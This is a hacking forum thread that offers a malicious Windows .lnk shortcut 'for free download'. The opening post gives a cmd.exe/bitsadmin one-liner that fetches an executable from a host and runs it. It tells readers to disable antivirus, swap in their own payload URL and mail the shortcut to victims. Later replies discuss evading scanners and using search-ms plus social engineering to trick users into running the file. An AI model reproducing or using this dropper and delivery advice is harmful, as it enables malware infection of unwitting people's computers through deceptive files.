Sinisterly
Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.ly/Forum-Hacking-Tools)
+--- Thread: Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download (/Thread-Virus-Trojan-Multi-GenAutorunLnkFile-a-Lnk-Virus-Free-Download)

Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - hacxx - 01-31-2022

Download and execute a executable by just double click in a .lnk file.

Save as shortcut (Right Click on desktop > New > Create Shortcut) and paste the line below
Code:
cmd.exe /c bitsadmin /transfer Kunami /download /priority high http://127.0.0.1/1.exe c:\windows\temp\calc.exe && if exist c:\windows\temp\calc.exe c:\windows\temp\calc.exe

How to?
1 - Disable your antivirus (This method is been detected)

2 - Extract the Shortcut from the archive
[Image: 1.jpg]

3 - Edit the code to download a exe you want and save
[Image: 2.jpg]

4 - Compress or mail the shortcut for execution

Download:
https://oxy.cloud/d/gIUe
http://ddl.to/d/293Ho

Note:
- It's malicious but the active component has been nulled.
- More available with Hacxx Latest Scripts

RE: Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - mothered - 02-01-2022

Nice one.

When my VM box Is up and running, It'll give It a shot.

RE: Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - hacxx - 02-01-2022

(02-01-2022, 01:50 AM)mothered Wrote: When my VM box Is up and running, It'll give It a shot.

You don't need vm for this one, is a shortcut (filename.lnk) that will execute bitsadmin. If you scan the object, because it is a shortcut, it will scan cmd.exe. Bitsadmin will connect to a site of your choice and download/execute the file.

There is a combination of search-ms and link drop that i want to test, may turn out to be a code execution requiring user interaction.

RE: Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - mothered - 02-01-2022

(02-01-2022, 12:27 PM)hacxx Wrote:
(02-01-2022, 01:50 AM)mothered Wrote: When my VM box Is up and running, It'll give It a shot.

You don't need vm for this one, is a shortcut (filename.lnk) that will execute bitsadmin. If you scan the object, because it is a shortcut, it will scan cmd.exe. Bitsadmin will connect to a site of your choice and download/execute the file.

There is a combination of search-ms and link drop that i want to test, may turn out to be a code execution requiring user interaction.
Understood.

Thanks for clarifying It.

RE: Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - hacxx - 02-02-2022

(02-01-2022, 03:06 PM)mothered Wrote: Thanks for clarifying It.

Do you know any method that download a file to the computer cache on Chrome, IE, Firefox, Opera, etc?
If yes, where the cache located?
Thanks

RE: Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - mothered - 02-03-2022

(02-02-2022, 11:30 PM)hacxx Wrote: Do you know any method that download a file to the computer cache on Chrome, IE, Firefox, Opera, etc?
Not off the top of my head.

RE: Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - hacxx - 02-03-2022

(02-03-2022, 01:15 AM)mothered Wrote: Not off the top of my head.

My idea was to drop the .lnk file to the disc then with the exact path use search-ms: to get the file and inform the user to double click.
A sneaky method that may work... (require user interaction).

RE: Virus: Trojan.Multi.GenAutorunLnkFile.a (.Lnk Virus) - Free Download - mothered - 02-04-2022

(02-03-2022, 04:07 PM)hacxx Wrote: My idea was to drop the .lnk file to the disc then with the exact path use search-ms: to get the file and inform the user to double click.
A sneaky method that may work... (require user interaction).
You'd need a bit of social engineering to entice the user to execute It, which Isn't difficult at all.